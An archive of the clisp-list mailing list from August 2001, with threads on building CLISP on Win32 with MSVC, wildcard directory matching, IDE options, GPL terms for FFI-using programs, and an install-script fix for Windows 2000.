defined = error and if I use LIBC (single threaded) I get a different set of = unresolved symbols. Has anybody built recent versions of clisp on Win32 = ? BTW, I use VC 6.0=20 -cheers, Krishna Kumar ------=_NextPart_000_001B_01C11DEF.FBFB1550 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi! ALL,
 
I've had some linking problems = especially with=20 MSVCRT and LIBC. As instructed in the Makefile, if I use MSVCRT I get = __errno=20 not defined error and if I use LIBC (single threaded) I get a different = set of=20 unresolved symbols. Has anybody built recent versions of clisp on Win32=20 ?
 
BTW, I use VC 6.0
 
-cheers,
Krishna = Kumar
------=_NextPart_000_001B_01C11DEF.FBFB1550-- From sds@gnu.org Sun Aug 05 11:42:16 2001 Received: from out1.prserv.net ([32.97.166.31] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15TSqu-0005hm-00 for ; Sun, 05 Aug 2001 11:42:16 -0700 Received: from xchange.com (slip129-37-108-239.nj.us.prserv.net[129.37.108.239]) by prserv.net (out1) with ESMTP id <2001080518421020101dq272e>; Sun, 5 Aug 2001 18:42:12 +0000 To: "V.Krishna Kumar" Cc: Subject: Re: [clisp-list] Linking problems on Win32 References: <000701c11db5$4e098f60$63e3e30a@turing> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000701c11db5$4e098f60$63e3e30a@turing> Date: 05 Aug 2001 14:34:40 -0400 Message-ID: Lines: 54 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <000701c11db5$4e098f60$63e3e30a@turing> > * On the subject of "[clisp-list] Linking problems on Win32" > * Sent on Sun, 5 Aug 2001 18:58:43 +0530 > * Honorable "V.Krishna Kumar" writes: > > I've had some linking problems especially with MSVCRT and LIBC. As > instructed in the Makefile, if I use MSVCRT I get __errno not defined > error and if I use LIBC (single threaded) I get a different set of > unresolved symbols. Has anybody built recent versions of clisp on > Win32 ? I am stuck with nt4sp6 and msvc 6 and I build CLISP regularly, without any problems. Please make sure that you do this: set MSDEVDIR=C:\msvs set Include=%MSDEVDIR%\VC98\include set Lib=%MSDEVDIR%\VC98\lib set PATH=%MSDEVDIR%\VC98\bin;%MSDEVDIR%\Common\MSDev98\Bin;%PATH% cd utils\gcc-cccp nmake -f Makefile.msvc clean nmake -f Makefile.msvc cd ..\.. cd ffcall nmake -f Makefile.msvc clean nmake -f Makefile.msvc check cd .. cd libiconv nmake -f Makefile.msvc clean nmake -f Makefile.msvc check cd .. cd sigsegv nmake -f Makefile.msvc clean nmake -f Makefile.msvc check cd .. copy win32msvc\makefile.msvc5 src\makefile cd src nmake clean nmake > BTW, I use VC 6.0 yep. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on UNIX is as friendly to you as you are to it. Windows is hostile no matter what. From dm@bomberlan.net Thu Aug 09 12:49:17 2001 Received: from bomberlan.net ([64.81.59.47] helo=ork.bomberlan.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Uvnx-0002kL-00 for ; Thu, 09 Aug 2001 12:49:17 -0700 Received: from dm by ork.bomberlan.net with local (Exim 3.22 #1 (Debian)) id 15Uvoj-0005wL-00 for ; Thu, 09 Aug 2001 12:50:05 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15218.59757.99688.623624@ork.bomberlan.net> Date: Thu, 9 Aug 2001 12:50:05 -0700 To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.81 under Emacs 20.7.2 Reply-To: svref@yahoo.com From: Dave Morse Subject: [clisp-list] looking for DON COHEN Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sorry for being flagrantly Off Topic, but I'm looking for Don Cohen of Los Angeles and my old email for him has gone stale. Don, I'm pretty sure you're on this list -- so please email me! --Dave From dm@bomberlan.net Thu Aug 09 13:38:44 2001 Received: from bomberlan.net ([64.81.59.47] helo=ork.bomberlan.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15UwZn-00024r-00 for ; Thu, 09 Aug 2001 13:38:43 -0700 Received: from dm by ork.bomberlan.net with local (Exim 3.22 #1 (Debian)) id 15Uwab-0005yj-00 for ; Thu, 09 Aug 2001 13:39:33 -0700 Date: Thu, 9 Aug 2001 13:39:33 -0700 From: Dave Morse To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] looking for DON COHEN Message-ID: <20010809133933.C22903@bomberlan.net> References: <15218.59757.99688.623624@ork.bomberlan.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <15218.59757.99688.623624@ork.bomberlan.net> User-Agent: Mutt/1.3.18i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Don, I got your reply but any message I send back to that address gets bounced back to me. From peter.wood@worldonline.dk Sat Aug 11 03:17:05 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15VVpH-0008D3-00 for ; Sat, 11 Aug 2001 03:17:03 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id DE528B4D4 for ; Sat, 11 Aug 2001 12:16:59 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f7BAAcv00324; Sat, 11 Aug 2001 12:10:38 +0200 Date: Sat, 11 Aug 2001 12:10:38 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010811121038.A314@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] wildcard ranges Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi Using clisp-2.27, built myself, on a GNU/Linux system, with the wildcard package present: (directory #"*.[0-9]") returns nil, while the same wildcard string in Bash gives all the files which have a numeric suffix. I checked with clisp-2.26, and the result is the same, so maybe I am using wildcards incorrectly for clisp??? The doc "wildcard.dvi" does say I can do this, though. (directory #"*.?") does what I expect - returns all the files with a one character suffix. Regards, Peter From sds@gnu.org Sun Aug 12 13:00:06 2001 Received: from out1.prserv.net ([32.97.166.31] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15W1P4-0006k7-00 for ; Sun, 12 Aug 2001 13:00:06 -0700 Received: from xchange.com (slip-32-100-55-114.ma.us.prserv.net[32.100.55.114]) by prserv.net (out1) with ESMTP id <2001081220000120100aast1e>; Sun, 12 Aug 2001 20:00:03 +0000 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] wildcard ranges References: <20010811121038.A314@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010811121038.A314@localhost.localdomain> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 Date: 12 Aug 2001 15:50:34 -0400 Message-ID: Lines: 32 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010811121038.A314@localhost.localdomain> > * On the subject of "[clisp-list] wildcard ranges" > * Sent on Sat, 11 Aug 2001 12:10:38 +0200 > * Honorable Peter Wood writes: > > Using clisp-2.27, built myself, on a GNU/Linux system, with the > wildcard package present: > > (directory #"*.[0-9]") returns nil, while the same wildcard string in > Bash gives all the files which have a numeric suffix. > > I checked with clisp-2.26, and the result is the same, so maybe I am > using wildcards incorrectly for clisp??? The doc "wildcard.dvi" does > say I can do this, though. nope. wildcard does not modify the CL standard functions, it just adds "match" function. to get the behavior you want you have to do something like (delete-if-not (lambda (f) (match "..." f)) (directory "*")) > (directory #"*.?") does what I expect - returns all the files with a > one character suffix. this is mandated by CLHS and does not depend on "wildcard". -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Hard work has a future payoff. Laziness pays off NOW. From Randy.Justice@cnet.navy.mil Wed Aug 15 10:36:11 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15X4ZX-0004HX-00 for ; Wed, 15 Aug 2001 10:35:15 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id MAA15483 for ; Wed, 15 Aug 2001 12:34:35 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Wed, 15 Aug 2001 12:35:11 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@sourceforge.net Date: Wed, 15 Aug 2001 12:35:09 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C125B0.A163D230" Subject: [clisp-list] GUI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C125B0.A163D230 Content-Type: text/plain; charset="iso-8859-1" Does a IDE exists for CLISP? Thank You Randy ------_=_NextPart_001_01C125B0.A163D230 Content-Type: text/html; charset="iso-8859-1" GUI

Does a IDE exists for CLISP? 

Thank You
Randy


------_=_NextPart_001_01C125B0.A163D230-- From sds@gnu.org Wed Aug 15 12:09:06 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15X62M-0004QB-00 for ; Wed, 15 Aug 2001 12:09:06 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA14706; Wed, 15 Aug 2001 15:09:00 -0400 (EDT) X-Envelope-To: To: "Justice, Randy -CONT\(DYN\)" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] GUI References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 15 Aug 2001 15:07:37 -0400 Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] GUI" > * Sent on Wed, 15 Aug 2001 12:35:09 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > Does a IDE exists for CLISP? Emacs is good enough for me. you are encouraged to write a better one :-) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Daddy, why doesn't this magnet pick up this floppy disk? From Randy.Justice@cnet.navy.mil Wed Aug 15 12:26:50 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15X6J1-00005w-00 for ; Wed, 15 Aug 2001 12:26:19 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id OAA03332; Wed, 15 Aug 2001 14:25:39 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Wed, 15 Aug 2001 14:26:15 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'sds@gnu.org'" Cc: clisp-list@sourceforge.net Subject: RE: [clisp-list] GUI Date: Wed, 15 Aug 2001 14:26:08 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C125C0.22421830" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C125C0.22421830 Content-Type: text/plain; charset="iso-8859-1" I don't have the time... I'm going to school, working full time, wife and two small kids... I'm looking to tools to help me save time. I'm using CLISP in my dissertation and looking to ways to save time. Maybe after school is finished... (2 years) Randy -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Wednesday, August 15, 2001 2:08 PM To: Justice, Randy -CONT(DYN) Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] GUI > * In message > * On the subject of "[clisp-list] GUI" > * Sent on Wed, 15 Aug 2001 12:35:09 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > Does a IDE exists for CLISP? Emacs is good enough for me. you are encouraged to write a better one :-) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Daddy, why doesn't this magnet pick up this floppy disk? ------_=_NextPart_001_01C125C0.22421830 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] GUI

I don't have the time... I'm going to school, working = full time, wife and two small kids... I'm looking to tools to help me = save time.  I'm using CLISP in my dissertation and looking to ways = to save time.  Maybe after school is finished... (2 years)  =

Randy
     

-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Wednesday, August 15, 2001 2:08 PM
To: Justice, Randy -CONT(DYN)
Cc: clisp-list@sourceforge.net
Subject: Re: [clisp-list] GUI


> * In message = <B4CA1F5D8D23D411ADC7009027E791BF013ED56E@pens0394.cnet.navy.Mil><= /FONT>
> * On the subject of "[clisp-list] = GUI"
> * Sent on Wed, 15 Aug 2001 12:35:09 = -0500
> * Honorable "Justice, Randy = -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
>
> Does a IDE exists for CLISP? 

Emacs is good enough for me.

you are encouraged to write a better one :-)

--
Sam Steingold (http://www.podval.org/~sds)
Support Israel's right to defend herself! <http://www.i-charity.com/go/israel>
Read what the Arab leaders say to their people on = <http://www.memri.org/>
Daddy, why doesn't this magnet pick up this floppy = disk?

------_=_NextPart_001_01C125C0.22421830-- From dm@bomberlan.net Wed Aug 15 13:41:27 2001 Received: from bomberlan.net ([64.81.59.47] helo=ork.bomberlan.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15X7Tj-00008O-00 for ; Wed, 15 Aug 2001 13:41:27 -0700 Received: from dm by ork.bomberlan.net with local (Exim 3.22 #1 (Debian)) id 15X7V1-00031T-00 for ; Wed, 15 Aug 2001 13:42:47 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15226.57031.400882.150661@ork.bomberlan.net> Date: Wed, 15 Aug 2001 13:42:47 -0700 To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.81 under Emacs 20.7.2 Reply-To: svref@yahoo.com From: Dave Morse Subject: [clisp-list] gpl + foreign functions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: from COPYRIGHT file: This copyright does *not* cover user programs that run in CLISP, if they don't reference symbols in CLISP's built-in packages (except the packages LISP, USER, COMMON-LISP, COMMON-LISP-USER, KEYWORD), So programs that use the FFI must be released under the GPL? Thus it follows that its illegal to produce a propritary program with a GUI using CLISP? From sds@gnu.org Wed Aug 15 14:14:37 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15X7zp-0008Sv-00 for ; Wed, 15 Aug 2001 14:14:37 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA07776; Wed, 15 Aug 2001 17:14:23 -0400 (EDT) X-Envelope-To: To: svref@yahoo.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] gpl + foreign functions References: <15226.57031.400882.150661@ork.bomberlan.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15226.57031.400882.150661@ork.bomberlan.net> Date: 15 Aug 2001 17:12:54 -0400 Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15226.57031.400882.150661@ork.bomberlan.net> > * On the subject of "[clisp-list] gpl + foreign functions" > * Sent on Wed, 15 Aug 2001 13:42:47 -0700 > * Honorable Dave Morse writes: > > from COPYRIGHT file: > This copyright does *not* cover user programs that run in CLISP, if > they don't reference symbols in CLISP's built-in packages (except > the packages LISP, USER, COMMON-LISP, COMMON-LISP-USER, KEYWORD), > > So programs that use the FFI must be released under the GPL? I think so. [you appear to be using a pre-2.26 release. 2.27 is current.] > Thus it follows that its illegal to produce a propritary program with > a GUI using CLISP? you can use sockets to communicate to a web browser (like the portable CLOCC/CLLIB/inspect.lisp does). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Why use Windows, when there are Doors? From dm@bomberlan.net Wed Aug 15 14:40:00 2001 Received: from bomberlan.net ([64.81.59.47] helo=ork.bomberlan.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15X8OO-00076W-00 for ; Wed, 15 Aug 2001 14:40:00 -0700 Received: from dm by ork.bomberlan.net with local (Exim 3.22 #1 (Debian)) id 15X8Ph-00032g-00 for ; Wed, 15 Aug 2001 14:41:21 -0700 Date: Wed, 15 Aug 2001 14:41:21 -0700 From: David Morse Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] gpl + foreign functions Message-ID: <20010815144121.A11669@bomberlan.net> References: <15226.57031.400882.150661@ork.bomberlan.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.18i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold wrote: > > * In message <15226.57031.400882.150661@ork.bomberlan.net> > > * On the subject of "[clisp-list] gpl + foreign functions" > > * Sent on Wed, 15 Aug 2001 13:42:47 -0700 > > * Honorable Dave Morse writes: > > > > from COPYRIGHT file: > > This copyright does *not* cover user programs that run in CLISP, if > > they don't reference symbols in CLISP's built-in packages (except > > the packages LISP, USER, COMMON-LISP, COMMON-LISP-USER, KEYWORD), > > > > So programs that use the FFI must be released under the GPL? > > I think so. Lets face it, FFIs are a standard non-standard feature. In that sense, clisp's FFI package belongs to the list of packages above. my $2f-2 worth. From sds@gnu.org Wed Aug 15 16:11:44 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15X9pA-0002q2-00 for ; Wed, 15 Aug 2001 16:11:44 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id TAA24828; Wed, 15 Aug 2001 19:11:25 -0400 (EDT) X-Envelope-To: To: David Morse Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] gpl + foreign functions References: <15226.57031.400882.150661@ork.bomberlan.net> <20010815144121.A11669@bomberlan.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010815144121.A11669@bomberlan.net> Date: 15 Aug 2001 19:09:52 -0400 Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010815144121.A11669@bomberlan.net> > * On the subject of "Re: [clisp-list] gpl + foreign functions" > * Sent on Wed, 15 Aug 2001 14:41:21 -0700 > * Honorable David Morse writes: > > Sam Steingold wrote: > > > from COPYRIGHT file: > > > This copyright does *not* cover user programs that run in CLISP, if > > > they don't reference symbols in CLISP's built-in packages (except > > > the packages LISP, USER, COMMON-LISP, COMMON-LISP-USER, KEYWORD), > > > > > > So programs that use the FFI must be released under the GPL? > > > > I think so. > > Lets face it, FFIs are a standard non-standard feature. but they are incompatible between the implementations, so the code written for CLISP will not run under CMUCL and ACL and vice versa. > In that sense, clisp's FFI package belongs to the list of packages above. I will let Bruno make a decision on that. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Lisp: Serious empowerment. From Rohan.Nicholls@informaat.nl Thu Aug 16 02:47:44 2001 Received: from [193.172.12.17] (helo=xray.informaat.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15XJkd-0000fD-00 for ; Thu, 16 Aug 2001 02:47:43 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Thu, 16 Aug 2001 11:47:53 +0200 Message-ID: <91E4C0798669A540B37F77B8DC0F5B9E0FB5C7@xray.informaat.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: getting clisp to work with Windows2000 Thread-Index: AcEmOITEQ1ZhbQdbRDCrMHmHjFxU6g== From: "Rohan Nicholls" To: Subject: [clisp-list] getting clisp to work with Windows2000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I would like to thank the creators and maintainers of clisp for making a common lisp implementation available for those trying to learn and hopefully use what I am discovering is a fascinating and fun language, one that I intend to use a lot in my own development, as it seems designed for making stable programs quickly. That aside, I am sure this has been found, but I am a poor sod using a Windows2000 machine, and I had to fiddle around to make the install batch file work. In the end this is what I found was the problem: The error was a win32 problem about not being able to find the path specified, and so it could not create the batch file on the desktop. That is because in win2k they have changed the location of the user's profiles folder to being in the root directory instead of contained within the winnt folder, and changed the name of the folder. So in the install.lisp file starting at line 70 (let ((bat-file (merge-pathnames "Documents and Settings/All Users/Desktop/clisp.bat" (concatenate 'string "C:" "/")))) In the original file it asked for the "windir" enviroment variable, but that gives the winnt directory, not the root directory which if=20 the windir is "C\winnt" would just be "C:" at least in my case, and the other change is that in the first merge-pathnames string=20 "Profiles" should be "Documents and Settings" (let ((bat-file (merge-pathnames "Profiles/All Users/Desktop/clisp.bat" (concatenate 'string (getenv "windir") "/")))) The two are above to compare differences, and although I am sure this has been solved, if not I hope it helps someone. I would like to mention at this point that it is a commendation to whoever wrote the files I have been rooting around in, that they are so clearly written that even a newbie to lisp such as myself could make sense enough to make the changes necessary. Thanks,=20 Rohan From haible@ilog.fr Thu Aug 16 10:07:09 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15XQbr-0008Hr-00 for ; Thu, 16 Aug 2001 10:07:07 -0700 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.4/8.11.4) with ESMTP id f7GH6I918886; Thu, 16 Aug 2001 19:06:19 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.55]) by laposte.ilog.fr (8.11.5/8.11.5) with ESMTP id f7GH6oH00706; Thu, 16 Aug 2001 19:06:50 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id TAA16977; Thu, 16 Aug 2001 19:05:08 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15227.64826.784942.566083@honolulu.ilog.fr> Date: Thu, 16 Aug 2001 19:04:58 +0200 (CEST) To: sds@gnu.org Cc: David Morse , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] gpl + foreign functions In-Reply-To: References: <15226.57031.400882.150661@ork.bomberlan.net> <20010815144121.A11669@bomberlan.net> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: David Morse writes: > So programs that use the FFI must be released under the GPL? Yes, definitely. By using the FFI you are linking together GPLed C code with your additions. So you must put your additions under the GPL if you want to distribute them. > In that sense, clisp's FFI package belongs to the list of packages above. There is no need to change the copyright wording. If you link some pieces of C code with clisp, and use some Lisp code that accesses it through the FFI, and want to distribute that, then you have to put both under GPL because - The GPL exception does not apply to your C code because it is not code that "runs in CLISP". It is rather code that is linked with CLISP. - The GPL exception does not apply to your Lisp code because it makes use of the non-standard FFI package. Bruno From sds@gnu.org Thu Aug 16 10:51:05 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15XRIO-0001vd-00 for ; Thu, 16 Aug 2001 10:51:04 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA10356; Thu, 16 Aug 2001 13:50:56 -0400 (EDT) X-Envelope-To: To: "Rohan Nicholls" Cc: Subject: Re: [clisp-list] getting clisp to work with Windows2000 References: <91E4C0798669A540B37F77B8DC0F5B9E0FB5C7@xray.informaat.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <91E4C0798669A540B37F77B8DC0F5B9E0FB5C7@xray.informaat.com> Date: 16 Aug 2001 13:49:43 -0400 Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion 